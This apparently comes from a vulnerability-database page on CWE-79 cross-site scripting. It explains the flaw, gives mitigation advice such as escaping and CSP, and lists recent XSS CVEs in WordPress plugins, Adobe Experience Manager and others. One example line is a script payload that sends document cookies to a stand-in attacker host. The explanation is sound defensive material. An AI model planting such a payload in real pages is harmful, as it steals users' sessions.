Fallos del tipo CWE-79

30.303 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-53423HIGHWordPress Triss theme <= 2.6 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-64564MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.3%CVE-2025-52755HIGHWordPress Child Themes plugin <= 1.0.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-64801MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-60796MEDIUMphpPgAdmin 7.13.0 and earlier contains multiple cross-site scripting (XSS) vulnerabilities across various components. User-supplied input frEPSS 0.3%CVE-2026-3171MEDIUMSourceCodester/Patrick Mvuma Patients Waiting Area Queue Management System queue.php cross site scriptingEPSS 0.3%CVE-2025-64802MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-52749HIGHWordPress Uji Countdown plugin <= 2.3.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-53352HIGHWordPress Grid Plus plugin <= 3.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-64791MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-58916HIGHWordPress Author: Munzir plugin <= 0.9 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-59004HIGHWordPress WC Return products plugin <= 1.5 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-58921HIGHWordPress WP Tactical Popup plugin <= 1.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-64814MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-52748HIGHWordPress Directory Pro plugin <= 2.5.5 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2025-24616HIGHWordPress Uix Page Builder Plugin <= 1.7.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-52753HIGHWordPress Contact Form by Supsystic plugin <= 1.7.36 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-64606MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-10246MEDIUMlokibhardwaj PHP-Code-For-Unlimited-File-Upload f.php cross site scriptingEPSS 0.3%CVE-2025-49959HIGHWordPress bbPress Move Topics plugin <= 1.1.6 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%